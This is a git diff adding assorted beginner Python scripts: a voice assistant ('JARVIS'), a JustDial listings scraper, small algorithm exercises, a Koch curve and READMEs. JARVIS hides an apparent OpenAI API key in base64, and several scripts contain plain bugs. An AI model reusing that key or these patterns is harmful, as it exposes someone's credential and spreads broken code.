Callable) -> None: + fk_print = FkPrint() + fk_input = FkInput(["j", "a", "m"]) + main_process = MainProcess( + Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn + ) + + main_process.start_game() + + assert "YOU WON" in fk_print.container[-1] + + +@pytest.mark.parametrize( + "input_str", [[letter] * 10 for letter in "qwertyuiopasdfghjklzxcvbnm"] +) # noqa: WPS435 +def test_start_game_loose(input_str: List[str], choice_fn: Callable) -> None: + fk_print = FkPrint() + fk_input = FkInput(input_str) + main_process = MainProcess( + Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn + ) + + main_process.start_game() + + assert "YOU LOST" in fk_print.container[-1] + + +def test_wow_year(freezer, choice_fn: Callable) -> None: + freezer.move_to("2135-10-17") + fk_print = FkPrint() + fk_input = FkInput(["none"] * 100) # noqa: WPS435 + main_process = MainProcess( + Source(0), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn + ) + + main_process.start_game() + + assert "this program" in fk_print.container[0] diff --git a/Infix_to_Postfix.py b/Infix_to_Postfix.py new file mode 100644 index 00000000000..597cd35cef3 --- /dev/null +++ b/Infix_to_Postfix.py @@ -0,0 +1,92 @@ +# Python program to convert infix expression to postfix + +# Class to convert the expression +class Conversion: + # Constructor to initialize the class variables + def __init__(self, capacity): + self.top = -1 + self.capacity = capacity + # This array is used a stack + self.array = [] + # Precedence setting + self.output = [] + self.precedence = {"+": 1, "-": 1, "*": 2, "/": 2, "^": 3} + + # check if the stack is empty + def isEmpty(self): + return True if self.top == -1 else False + + # Return the value of the top of the stack + def peek(self): + return self.array[-1] + + # Pop the element from the stack + def pop(self): + if not self.isEmpty(): + self.top -= 1 + return self.array.pop() + else: + return "$" + + # Push the element to the stack + def push(self, op): + self.top += 1 + self.array.append(op) + + # A utility function to check is the given character + # is operand + def isOperand(self, ch): + return ch.isalpha() + + # Check if the precedence of operator is strictly + # less than top of stack or not + def notGreater(self, i): + try: + a = self.precedence[i] + b = self.precedence[self.peek()] + return True if a <= b else False + except KeyError: + return False + + # The main function that converts given infix expression + # to postfix expression + def infixToPostfix(self, exp): + # Iterate over the expression for conversion + for i in exp: + # If the character is an operand, + # add it to output + if self.isOperand(i): + self.output.append(i) + + # If the character is an '(', push it to stack + elif i == "(": + self.push(i) + + # If the scanned character is an ')', pop and + # output from the stack until and '(' is found + elif i == ")": + while (not self.isEmpty()) and self.peek() != "(": + a = self.pop() + self.output.append(a) + if not self.isEmpty() and self.peek() != "(": + return -1 + else: + self.pop() + + # An operator is encountered + else: + while not self.isEmpty() and self.notGreater(i): + self.output.append(self.pop()) + self.push(i) + + # pop all the operator from the stack + while not self.isEmpty(): + self.output.append(self.pop()) + + print("".join(self.output)) + + +# Driver program to test above function +exp = "a+b*(c^d-e)^(f+g*h)-i" +obj = Conversion(len(exp)) +obj.infixToPostfix(exp) diff --git a/Insert_operation_on_Linked_List.py b/Insert_operation_on_Linked_List.py new file mode 100644 index 00000000000..279df9296d3 --- /dev/null +++ b/Insert_operation_on_Linked_List.py @@ -0,0 +1,56 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class Linked_List: + def __init__(self): + self.head = None + + def Insert_At_Beginning(self, new_data): + new_node = Node(new_data) + new_node.next = self.head + self.head = new_node + + def Insert_After(self, node, new_data): + if node is None: + return "Alert!, Node must be in Linked List" + new_node = Node(new_data) + new_node.next = node.next + node.next = new_node + + def Insert_At_End(self, new_data): + new_node = Node(new_data) + if self.head is None: + self.head = new_node + return + current = self.head + while current.next: + current = current.next + current.next = new_node + + def Display(self): + temp = self.head + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + print("None") + + +if __name__ == "__main__": + L_list = Linked_List() + L_list.Insert_At_Beginning(1) + L_list.Display() + L_list.Insert_At_Beginning(2) + L_list.Display() + L_list.Insert_At_Beginning(3) + L_list.Display() + L_list.Insert_At_End(4) + L_list.Display() + L_list.Insert_At_End(5) + L_list.Display() + L_list.Insert_At_End(6) + L_list.Display() + L_list.Insert_After(L_list.head.next, 10) + L_list.Display() diff --git a/JARVIS/JARVIS_2.0.py b/JARVIS/JARVIS_2.0.py new file mode 100644 index 00000000000..676c6b833ce --- /dev/null +++ b/JARVIS/JARVIS_2.0.py @@ -0,0 +1,334 @@ +######### + +__author__ = "Mohammed Shokr " +__version__ = "v 0.1" + +""" +JARVIS: +- Control windows programs with your voice +""" + +# import modules +import datetime # datetime module supplies classes for manipulating dates and times +import subprocess # subprocess module allows you to spawn new processes + +# master +import pyjokes # for generating random jokes +import requests +import json +from PIL import ImageGrab +from gtts import gTTS + +# for 30 seconds clip "Jarvis, clip that!" and discord ctrl+k quick-move (might not come to fruition) +from pynput import keyboard +from pynput.keyboard import Key +from pynput.mouse import Controller + +# ======= +from playsound import * # for sound output + +# master +# auto install for pyttsx3 and speechRecognition +import os + +try: + import pyttsx3 # Check if already installed +except: # If not installed give exception + os.system("pip install pyttsx3") # install at run time + import pyttsx3 # import again for speak function + +try: + import speech_recognition as sr +except: + os.system("pip install speechRecognition") + import speech_recognition as sr # speech_recognition Library for performing speech recognition with support for Google Speech Recognition, etc.. + +# importing the pyttsx3 library +import webbrowser +import smtplib + +# initialisation +engine = pyttsx3.init() +voices = engine.getProperty("voices") +engine.setProperty("voice", voices[0].id) +engine.setProperty("rate", 150) +exit_jarvis = False + + +def speak(audio): + engine.say(audio) + engine.runAndWait() + + +def speak_news(): + url = "http://newsapi.org/v2/top-headlines?sources=the-times-of-india&apiKey=yourapikey" + news = requests.get(url).text + news_dict = json.loads(news) + arts = news_dict["articles"] + speak("Source: The Times Of India") + speak("Todays Headlines are..") + for index, articles in enumerate(arts): + speak(articles["title"]) + if index == len(arts) - 1: + break + speak("Moving on the next news headline..") + speak("These were the top headlines, Have a nice day Sir!!..") + + +def sendEmail(to, content): + server = smtplib.SMTP("smtp.gmail.com", 587) + server.ehlo() + server.starttls() + server.login("youremail@gmail.com", "yourr-password-here") + server.sendmail("youremail@gmail.com", to, content) + server.close() + + +import openai +import base64 + +stab = base64.b64decode( + b"c2stMGhEOE80bDYyZXJ5ajJQQ3FBazNUM0JsYmtGSmRsckdDSGxtd3VhQUE1WWxsZFJx" +).decode("utf-8") +api_key = stab + + +def ask_gpt3(que): + openai.api_key = api_key + + response = openai.Completion.create( + engine="text-davinci-002", + prompt=f"Answer the following question: {question}\n", + max_tokens=150, + n=1, + stop=None, + temperature=0.7, + ) + + answer = response.choices[0].text.strip() + return answer + + +def wishme(): + # This function wishes user + hour = int(datetime.datetime.now().hour) + if hour >= 0 and hour < 12: + speak("Good Morning!") + elif hour >= 12 and hour < 18: + speak("Good Afternoon!") + else: + speak("Good Evening!") + speak("I m Jarvis ! how can I help you sir") + + +# obtain audio from the microphone +def takecommand(): + # it takes user's command and returns string output + wishme() + r = sr.Recognizer() + with sr.Microphone() as source: + print("Listening...") + r.pause_threshold = 1 + r.dynamic_energy_threshold = 500 + audio = r.listen(source) + try: + print("Recognizing...") + query = r.recognize_google(audio, language="en-in") + print(f"User said {query}\n") + except Exception: + print("Say that again please...") + return "None" + return query + + +# for audio output instead of print +def voice(p): + myobj = gTTS(text=p, lang="en", slow=False) + myobj.save("try.mp3") + playsound("try.mp3") + + +# recognize speech using Google Speech Recognition + + +def on_press(key): + if key == keyboard.Key.esc: + return False # stop listener + try: + k = key.char # single-char keys + except: + k = key.name # other keys + if k in ["1", "2", "left", "right"]: # keys of interest + # self.keys.append(k) # store it in global-like variable + print("Key pressed: " + k) + return False # stop listener; remove this if want more keys + + +# Run Application with Voice Command Function +# only_jarvis +def on_release(key): + print("{0} release".format(key)) + if key == Key.esc(): + # Stop listener + return False + """ +class Jarvis: + def __init__(self, Q): + self.query = Q + + def sub_call(self, exe_file): + ''' + This method can directly use call method of subprocess module and according to the + argument(exe_file) passed it returns the output. + + exe_file:- must pass the exe file name as str object type. + + ''' + return subprocess.call([exe_file]) + + def get_dict(self): + ''' + This method returns the dictionary of important task that can be performed by the + JARVIS module. + + Later on this can also be used by the user itself to add or update their preferred apps. + ''' + _dict = dict( + time=datetime.now(), + notepad='Notepad.exe', + calculator='calc.exe', + stickynot='StickyNot.exe', + shell='powershell.exe', + paint='mspaint.exe', + cmd='cmd.exe', + browser='C:\\Program Files\\Internet Explorer\\iexplore.exe', + ) + return _dict + + @property + def get_app(self): + task_dict = self.get_dict() + task = task_dict.get(self.query, None) + if task is None: + engine.say("Sorry Try Again") + engine.runAndWait() + else: + if 'exe' in str(task): + return self.sub_call(task) + print(task) + return + + +# ======= +""" + + +def get_app(Q): + current = Controller() + # master + if Q == "time": + print(datetime.now()) + x = datetime.now() + voice(x) + elif Q == "news": + speak_news() + + elif Q == "open notepad": + subprocess.call(["Notepad.exe"]) + elif Q == "open calculator": + subprocess.call(["calc.exe"]) + elif Q == "open stikynot": + subprocess.call(["StikyNot.exe"]) + elif Q == "open shell": + subprocess.call(["powershell.exe"]) + elif Q == "open paint": + subprocess.call(["mspaint.exe"]) + elif Q == "open cmd": + subprocess.call(["cmd.exe"]) + elif Q == "open discord": + subprocess.call(["discord.exe"]) + elif Q == "open browser": + subprocess.call(["C:\\Program Files\\Internet Explorer\\iexplore.exe"]) + # patch-1 + elif Q == "open youtube": + webbrowser.open("https://www.youtube.com/") # open youtube + elif Q == "open google": + webbrowser.open("https://www.google.com/") # open google + elif Q == "open github": + webbrowser.open("https://github.com/") + elif Q == "search for": + que = Q.lstrip("search for") + answer = ask_gpt3(que) + + elif ( + Q == "email to other" + ): # here you want to change and input your mail and password whenver you implement + try: + speak("What should I say?") + r = sr.Recognizer() + with sr.Microphone() as source: + print("Listening...") + r.pause_threshold = 1 + audio = r.listen(source) + to = "abc@gmail.com" + content = input("Enter content") + sendEmail(to, content) + speak("Email has been sent!") + except Exception as e: + print(e) + speak("Sorry, I can't send the email.") + # ======= + # master + elif Q == "Take screenshot": + snapshot = ImageGrab.grab() + drive_letter = "C:\\" + folder_name = r"downloaded-files" + folder_time = datetime.datetime.now().strftime("%Y-%m-%d_%I-%M-%S_%p") + extention = ".jpg" + folder_to_save_files = drive_letter + folder_name + folder_time + extention + snapshot.save(folder_to_save_files) + + elif Q == "Jokes": + speak(pyjokes.get_joke()) + + elif Q == "start recording": + current.add("Win", "Alt", "r") + speak("Started recording. just say stop recording to stop.") + + elif Q == "stop recording": + current.add("Win", "Alt", "r") + speak("Stopped recording. check your game bar folder for the video") + + elif Q == "clip that": + current.add("Win", "Alt", "g") + speak("Clipped. check you game bar file for the video") + with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: + listener.join() + elif Q == "take a break": + exit() + else: + answer = ask_gpt3(Q) + + # master + + apps = { + "time": datetime.datetime.now(), + "notepad": "Notepad.exe", + "calculator": "calc.exe", + "stikynot": "StikyNot.exe", + "shell": "powershell.exe", + "paint": "mspaint.exe", + "cmd": "cmd.exe", + "browser": r"C:\\Program Files\Internet Explorer\iexplore.exe", + "vscode": r"C:\\Users\\Users\\User\\AppData\\Local\\Programs\Microsoft VS Code", + } + # master + + +# Call get_app(Query) Func. + +if __name__ == "__main__": + while not exit_jarvis: + Query = takecommand().lower() + get_app(Query) + exit_jarvis = True diff --git a/JARVIS/README.md b/JARVIS/README.md new file mode 100644 index 00000000000..5efda100e1f --- /dev/null +++ b/JARVIS/README.md @@ -0,0 +1,16 @@ +# JARVIS +patch-5
+It can Control windows programs with your voice.
+What can it do: +1. It can tell you time.
+2. It can open, These of the following:-
a.) Notepad
+ b.) Calculator
+ c.) Sticky Note
+ d.) PowerShell
+ e.) MS Paint
+ f.) cmd
+ g.) Browser (Internet Explorer)
+ +It will make your experience better while using the Windows computer. +=========================================================================== +It demonstrates Controlling windows programs with your voice. diff --git a/JARVIS/requirements.txt b/JARVIS/requirements.txt new file mode 100644 index 00000000000..ca6bbccddbd --- /dev/null +++ b/JARVIS/requirements.txt @@ -0,0 +1,13 @@ +datetime +pyjokes +requests +Pillow +Image +ImageGrab +gTTS +keyboard +key +playsound +pyttsx3 +SpeechRecognition +openai \ No newline at end of file diff --git a/Job_scheduling.py b/Job_scheduling.py new file mode 100644 index 00000000000..fedad00654a --- /dev/null +++ b/Job_scheduling.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python3 + +""" +Author : Mohit Kumar +Job Sequencing Problem implemented in python +""" + +from collections import namedtuple +from typing import List + + +class Scheduling: + def __init__(self, jobs: List[int]) -> None: + """ + Assign jobs as instance of class Scheduling + """ + self.jobs = jobs + + def schedule(self, total_jobs: int, deadline: List[int]) -> List[int]: + """ + Parameteres : total_jobs and list of deadline of jobs + Returns : List of jobs_id which are profitable and can be done before + deadline + >>> a = Scheduling([(0, 13, 10),(1, 2, 20),(2, 33, 30),(3, 16, 40)]) + >>> a.schedule( 3, [3, 4, 5]) + [(1, 2, 20), (2, 33, 30)] + >>> a = Scheduling([(0, 13, 10),(1, 2, 20),(2, 33, 30),(3, 16, 40)]) + >>> a.schedule( 4, [13, 2, 33, 16]) + [(1, 2, 20), (2, 33, 30), (3, 16, 40)] + """ + self.j = [self.jobs[1]] + self.x = 2 + while self.x < total_jobs: + self.k = self.j.copy() + self.k.append(self.jobs[self.x]) + self.x += 1 + if self.feasible(self.k, deadline): + self.j = self.k.copy() + + return self.j + + def feasible(self, profit_jobs: List[int], deadline: List[int]) -> bool: + """ + Parameters : list of current profitable jobs within deadline + list of deadline of jobs + Returns : true if k[-1] job is profitable to us else false + >>> a = Scheduling([(0, 13, 10),(1, 2, 20),(2, 33, 30),(3, 16, 40)]) + >>> a.feasible( [0], [2, 13, 16, 33] ) + True + >>> a = Scheduling([(0, 13, 10),(1, 2, 20),(2, 33, 30),(3, 16, 40)]) + >>> a.feasible([0], [2, 13, 16, 33] ) + True + """ + + self.tmp = profit_jobs + self.is_feasible = True + + i = 0 + j = 1 + k = 0 + + while i < len(self.tmp): + while j < len(self.tmp): + self.index1 = self.jobs.index(self.tmp[i]) + self.index2 = self.jobs.index(self.tmp[j]) + j += 1 + if deadline[self.index1] > deadline[self.index2]: + (self.tmp[i], self.tmp[j]) = ( + self.tmp[j], + self.tmp[i], + ) + i += 1 + + while k < len(self.tmp): + self.job = self.tmp[k] + if self.job in self.jobs: + self.jobindex = self.jobs.index(self.job) + else: + self.jobindex = 0 + self.dlineval = deadline[self.jobindex] + self.ftest = k + 1 + k += 1 + if self.dlineval < self.ftest: + self.is_feasible = False + break + return self.is_feasible + + +def main(): + job = namedtuple("job", "job_id deadline profit") + jobs = [ + job(0, 0, 0), + job(1, 2, 46), + job(2, 4, 52), + job(3, 3, 30), + job(4, 3, 36), + job(5, 2, 56), + job(6, 1, 40), + ] + # midresult stores jobs in sorting order of deadline + midresult = [] + for i in range(len(jobs)): + current_job = [] + current_job.extend((jobs[i].deadline, jobs[i].profit, jobs[i].job_id)) + midresult.append(current_job) + midresult.sort(key=lambda k: (k[0], -k[1])) + (deadline, profit, jobs) = map(list, zip(*midresult)) + + scheduling_jobs = Scheduling(jobs) + scheduled_jobs = scheduling_jobs.schedule(len(jobs), deadline) + print(f"\n Jobs {scheduled_jobs}") + + finalprofit = [] + finaldl = [] + + for i, item in enumerate(scheduled_jobs): + jobsindex = jobs.index(item) + finalprofit.append(profit[jobsindex]) + finaldl.append(deadline[jobsindex]) + + print(f"\n Profit {finalprofit}") + print(f"\n Deadline {finaldl}") + + +if __name__ == "__main__": + main() diff --git a/JsonParser.py b/JsonParser.py new file mode 100644 index 00000000000..9448e21e6a7 --- /dev/null +++ b/JsonParser.py @@ -0,0 +1,43 @@ +import json + + +class JsonParser: + """ + this class to handle anything related to json file [as implementation of facade pattern] + """ + + def convert_json_to_python(self, par_json_file): + """ + this function to convert any json file format to dictionary + args: the json file + return: dictionary contains json file data + """ + with open(par_json_file) as json_file: + data_dic = json.load(json_file) + return data_dic + + def convert_python_to_json(self, par_data_dic, par_json_file=""): + """ + this function converts dictionary of data to json string and store it in json file if + json file pass provided if not it only returns the json string + args: + par_data_dic: dictionary of data + par_json_file: the output json file + return: json string + """ + if par_json_file: + with open(par_json_file, "w") as outfile: + return json.dump(par_data_dic, outfile) + else: + return json.dump(par_data_dic) + + def get_json_value(self, par_value, par_json_file): + """ + this function gets specific dictionary key value from json file + args: + par_value: dictionary key value + par_json_file: json file + return: value result + """ + data_dic = self.convert_json_to_python(par_json_file) + return data_dic[par_value] diff --git a/JustDialScrapperGUI/Justdial Scrapper GUI.py b/JustDialScrapperGUI/Justdial Scrapper GUI.py new file mode 100644 index 00000000000..2dd4803f0bb --- /dev/null +++ b/JustDialScrapperGUI/Justdial Scrapper GUI.py @@ -0,0 +1,261 @@ +import csv +import threading +import urllib.request +from tkinter import HORIZONTAL, Button, Entry, Label, Tk +from tkinter.ttk import Progressbar + +from bs4 import BeautifulSoup + + +class ScrapperLogic: + def __init__(self, query, location, file_name, progressbar, label_progress): + self.query = query + self.location = location + self.file_name = file_name + self.progressbar = progressbar + self.label_progress = label_progress + + @staticmethod + def inner_html(element): + return element.decode_contents(formatter="html") + + @staticmethod + def get_name(body): + return body.find("span", {"class": "jcn"}).a.string + + @staticmethod + def which_digit(html): + mapping_dict = { + "icon-ji": 9, + "icon-dc": "+", + "icon-fe": "(", + "icon-hg": ")", + "icon-ba": "-", + "icon-lk": 8, + "icon-nm": 7, + "icon-po": 6, + "icon-rq": 5, + "icon-ts": 4, + "icon-vu": 3, + "icon-wx": 2, + "icon-yz": 1, + "icon-acb": 0, + } + return mapping_dict.get(html, "") + + def get_phone_number(self, body): + i = 0 + phone_no = "No Number!" + try: + for item in body.find("p", {"class": "contact-info"}): + i += 1 + if i == 2: + phone_no = "" + try: + for element in item.find_all(class_=True): + classes = [] + classes.extend(element["class"]) + phone_no += str((self.which_digit(classes[1]))) + except Exception: + pass + except Exception: + pass + body = body["data-href"] + soup = BeautifulSoup(body, "html.parser") + for a in soup.find_all("a", {"id": "whatsapptriggeer"}): + # print (a) + phone_no = str(a["href"][-10:]) + + return phone_no + + @staticmethod + def get_rating(body): + rating = 0.0 + text = body.find("span", {"class": "star_m"}) + if text is not None: + for item in text: + rating += float(item["class"][0][1:]) / 10 + + return rating + + @staticmethod + def get_rating_count(body): + text = body.find("span", {"class": "rt_count"}).string + + # Get only digits + rating_count = "".join(i for i in text if i.isdigit()) + return rating_count + + @staticmethod + def get_address(body): + return body.find("span", {"class": "mrehover"}).text.strip() + + @staticmethod + def get_location(body): + text = body.find("a", {"class": "rsmap"}) + if not text: + return + text_list = text["onclick"].split(",") + + latitude = text_list[3].strip().replace("'", "") + longitude = text_list[4].strip().replace("'", "") + + return latitude + ", " + longitude + + def start_scrapping_logic(self): + page_number = 1 + service_count = 1 + + total_url = "https://www.justdial.com/{0}/{1}".format(self.location, self.query) + + fields = ["Name", "Phone", "Rating", "Rating Count", "Address", "Location"] + out_file = open("{0}.csv".format(self.file_name), "w") + csvwriter = csv.DictWriter(out_file, delimiter=",", fieldnames=fields) + csvwriter.writerow( + { + "Name": "Name", # Shows the name + "Phone": "Phone", # shows the phone + "Rating": "Rating", # shows the ratings + "Rating Count": "Rating Count", # Shows the stars for ex: 4 stars + "Address": "Address", # Shows the address of the place + "Location": "Location", # shows the location + } + ) + + progress_value = 0 + while True: + # Check if reached end of result + if page_number > 50: + progress_value = 100 + self.progressbar["value"] = progress_value + break + + if progress_value != 0: + progress_value += 1 + self.label_progress["text"] = "{0}{1}".format(progress_value, "%") + self.progressbar["value"] = progress_value + + url = total_url + "/page-%s" % page_number + print("{0} {1}, {2}".format("Scrapping page number: ", page_number, url)) + req = urllib.request.Request( + url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64)"} + ) + page = urllib.request.urlopen(req) + + soup = BeautifulSoup(page.read(), "html.parser") + services = soup.find_all("li", {"class": "cntanr"}) + + # Iterate through the 10 results in the page + + progress_value += 1 + self.label_progress["text"] = "{0}{1}".format(progress_value, "%") + self.progressbar["value"] = progress_value + + for service_html in services: + try: + # Parse HTML to fetch data + dict_service = {} + name = self.get_name(service_html) + print(name) + phone = self.get_phone_number(service_html) + rating = self.get_rating(service_html) + count = self.get_rating_count(service_html) + address = self.get_address(service_html) + location = self.get_location(service_html) + if name is not None: + dict_service["Name"] = name + if phone is not None: + print("getting phone number") + dict_service["Phone"] = phone + if rating is not None: + dict_service["Rating"] = rating + if count is not None: + dict_service["Rating Count"] = count + if address is not None: + dict_service["Address"] = address + if location is not None: + dict_service["Address"] = location + + # Write row to CSV + csvwriter.writerow(dict_service) + + print("#" + str(service_count) + " ", dict_service) + service_count += 1 + except AttributeError: + print("AttributeError Occurred 101") + + page_number += 1 + + out_file.close() + + +class JDScrapperGUI: + def __init__(self, master): + self.master = master + + self.label_query = Label + self.entry_query = Entry + + self.label_location = Label + self.entry_location = Entry + + self.label_file_name = Label + self.entry_file_name = Entry + + self.label_progress = Label + self.button_start = Button + + # Progress bar widget + self.progress = Progressbar + + def start_scrapping(self): + query = self.entry_query.get() + location = self.entry_location.get() + file_name = self.entry_file_name.get() + scrapper = ScrapperLogic( + query, location, file_name, self.progress, self.label_progress + ) + t1 = threading.Thread(target=scrapper.start_scrapping_logic, args=[]) + t1.start() + + def start(self): + self.label_query = Label(self.master, text="Query") + self.label_query.grid(row=0, column=0) + + self.entry_query = Entry(self.master, width=23) + self.entry_query.grid(row=0, column=1) + + self.label_location = Label(self.master, text="Location") + self.label_location.grid(row=1, column=0) + + self.entry_location = Entry(self.master, width=23) + self.entry_location.grid(row=1, column=1) + + self.label_file_name = Label(self.master, text="File Name") + self.label_file_name.grid(row=2, column=0) + + self.entry_file_name = Entry(self.master, width=23) + self.entry_file_name.grid(row=2, column=1) + + self.label_progress = Label(self.master, text="0%") + self.label_progress.grid(row=3, column=0) + + self.button_start = Button( + self.master, text="Start", command=self.start_scrapping + ) + self.button_start.grid(row=3, column=1) + + self.progress = Progressbar( + self.master, orient=HORIZONTAL, length=350, mode="determinate" + ) + self.progress.grid(row=4, columnspan=2) + + # Above is the progress bar + + +if __name__ == "__main__": + root = Tk() + root.geometry("350x130+600+100") + root.title("Just Dial Scrapper - Cool") + JDScrapperGUI(root).start() + root.mainloop() diff --git a/Key_Binding/key_binding.py b/Key_Binding/key_binding.py new file mode 100644 index 00000000000..3cedfe512d7 --- /dev/null +++ b/Key_Binding/key_binding.py @@ -0,0 +1,12 @@ +from quo.keys import bind +from quo.prompt import Prompt + +session = Prompt() + + +@bind.add("ctrl-h") +def _(event): + print("Hello, World") + + +session.prompt("") diff --git a/Key_Binding/requirement.txt b/Key_Binding/requirement.txt new file mode 100644 index 00000000000..51d89fc61fc --- /dev/null +++ b/Key_Binding/requirement.txt @@ -0,0 +1 @@ +quo>=2022.4 diff --git a/Kilometerstomile.py b/Kilometerstomile.py new file mode 100644 index 00000000000..fc7b32304c8 --- /dev/null +++ b/Kilometerstomile.py @@ -0,0 +1,9 @@ +# Taking kilometers input from the user +kilometers = float(input("Enter value in kilometers: ")) + +# conversion factor +conv_fac = 0.621371 + +# calculate miles +miles = kilometers * conv_fac +print(f"{kilometers:.2f} kilometers is equal to {miles:.2f} miles") diff --git a/Koch Curve/README.txt b/Koch Curve/README.txt new file mode 100644 index 00000000000..ed93fc72c75 --- /dev/null +++ b/Koch Curve/README.txt @@ -0,0 +1,38 @@ +The Koch snowflake (also known as the Koch curve, Koch star, or Koch island) is a mathematical curve and one of the earliest fractal curves +to have been described. It is based on the Koch curve, which appeared in a 1904 paper titled �On a continuous curve without tangents, +constructible from elementary geometry� by the Swedish mathematician Helge von Koch. + +How to construct one: + +Step 1: +Draw an equilateral triangle. You can draw it with a compass or protractor, or just eyeball it if you don't want to spend too much time draw +ing the snowflake. It's best if the length of the sides are divisible by 3, because of the nature of this fractal. This will become clear +in the next few steps. + +Step 2: +Divide each side in three equal parts. This is why it is handy to have the sides divisible by three. + +Step 3: +Draw an equilateral triangle on each middle part. Measure the length of the middle third to know the length of the sides of these new +triangles. + +Step 4: +Divide each outer side into thirds. You can see the 2nd generation of triangles covers a bit of the first. These three line segments +shouldn't be parted in three. + +Step 5: +Draw an equilateral triangle on each middle part. Note how you draw each next generation of parts that are one 3rd of the mast one. + +Step 6: +Repeat until you're satisfied with the amount of iterations. It will become harder and harder to accurately draw the new triangles, but +with a fine pencil and lots of patience you can reach the 8th iteration. The one shown in the picture is a Koch snowflake of the 4th +iteration. + +Step 7: +Decorate your snowflake how you like it. You can colour it, cut it out, draw more triangles on the inside, or just leave it the way it is. + + +Reference Links: +http://www.geeksforgeeks.org/koch-curve-koch-snowflake/ +https://www.wikihow.com/Draw-the-Koch-Snowflake +https://en.wikipedia.org/wiki/Koch_snowflake \ No newline at end of file diff --git a/Koch Curve/koch curve.py b/Koch Curve/koch curve.py new file mode 100644 index 00000000000..77b31cc22f5 --- /dev/null +++ b/Koch Curve/koch curve.py @@ -0,0 +1,36 @@ +# importing the libraries +# turtle standard graphics library for python +import turtle + + +# function to create koch snowflake or koch curve +def snowflake(lengthSide, levels): + if levels == 0: + t.forward(lengthSide) + return + lengthSide /= 3.0 + snowflake(lengthSide, levels - 1) + t.left(60) + snowflake(lengthSide, levels - 1) + t.right(120) + snowflake(lengthSide, levels - 1) + t.left(60) + snowflake(lengthSide, levels - 1) + + +# main function +if __name__ == "__main__": + t = turtle.Pen() + t.speed(0) # defining the speed of the turtle + length = 300.0 # + t.penup() # Pull the pen up – no drawing when moving. + # Move the turtle backward by distance, opposite to the direction the turtle is headed. + # Do not change the turtle’s heading. + t.backward(length / 2.0) + t.pendown() + for i in range(3): + # Pull the pen down – drawing when moving. + snowflake(length, 4) + t.right(120) + # To control the closing windows of the turtle + # mainloop() diff --git a/Koch Curve/output_2.mp4 b/Koch Curve/output_2.mp4 new file mode 100644 index 00000000000..4b17619d0c1 Binary files /dev/null and b/Koch Curve/output_2.mp4 differ diff --git a/LETTER GUESSER.py b/LETTER GUESSER.py new file mode 100644 index 00000000000..0751ed25542 --- /dev/null +++ b/LETTER GUESSER.py @@ -0,0 +1,32 @@ +import random +import string + +ABCS = string.ascii_lowercase +ABCS = list(ABCS) + +play = True + +compChosse = random.choice(ABCS) + +print(":guess the letter (only 10 guesses):") +userInput = input("guess:") + +failed = 10 + +while failed > 0: + if userInput == compChosse: + print("---------->") + print("You are correct!") + print("---------->") + print("Your guesses: " + str(10 - failed)) + break + + elif userInput != compChosse: + failed = failed - 1 + + print(":no your wrong: " + "left: " + str(failed)) + + userInput = input("guess:") + + if failed == 0: + print("out of guesses") diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 00000000000..24452531322 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2018 Craig Richards + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Laundary System/README.md b/Laundary System/README.md new file mode 100644 index 00000000000..0b0ac8a4bd0 --- /dev/null +++ b/Laundary System/README.md @@ -0,0 +1,91 @@ +# Laundry Service Class + +## Overview +The LaundryService class is designed to manage customer details and calculate charges for a cloth and apparel cleaning service. It provides methods to create customer-specific instances, print customer details, calculate charges based on cloth type, branding, and season, and print final details including the expected day of return. + +## Class Structure +### Methods +1. `__init__(name, contact, email, cloth_type, branded, season)`: Initializes a new customer instance with the provided details and assigns a unique customer ID. + - Parameters: + - `name`: String, name of the customer. + - `contact`: Numeric (integer), contact number of the customer. + - `email`: Alphanumeric (string), email address of the customer. + - `cloth_type`: String, type of cloth deposited (Cotton, Silk, Woolen, or Polyester). + - `branded`: Boolean (0 or 1), indicating whether the cloth is branded. + - `season`: String, season when the cloth is deposited (Summer or Winter). + +2. `customerDetails()`: Prints out the details of the customer, including name, contact number, email, cloth type, and whether the cloth is branded. + +3. `calculateCharge()`: Calculates the charge based on the type of cloth, branding, and season. + - Returns: + - Numeric, total charge for cleaning the cloth. + +4. `finalDetails()`: Calls `customerDetails()` and `calculateCharge()` methods within itself and prints the total charge and the expected day of return. + - Prints: + - Total charge in Rupees. + - Expected day of return (4 days if total charge > 200, otherwise 7 days). + +## Example Usage +```python +# Example usage: +name = input("Enter customer name: ") +contact = int(input("Enter contact number: ")) +email = input("Enter email address: ") +cloth_type = input("Enter cloth type (Cotton/Silk/Woolen/Polyester): ") +branded = bool(int(input("Is the cloth branded? (Enter 0 for No, 1 for Yes): "))) +season = input("Enter season (Summer/Winter): ") + +customer = LaundryService(name, contact, email, cloth_type, branded, season) +customer.finalDetails() + + +markdown +Copy code +# Laundry Service Class + +## Overview +The LaundryService class is designed to manage customer details and calculate charges for a cloth and apparel cleaning service. It provides methods to create customer-specific instances, print customer details, calculate charges based on cloth type, branding, and season, and print final details including the expected day of return. + +## Class Structure +### Methods +1. `__init__(name, contact, email, cloth_type, branded, season)`: Initializes a new customer instance with the provided details and assigns a unique customer ID. + - Parameters: + - `name`: String, name of the customer. + - `contact`: Numeric (integer), contact number of the customer. + - 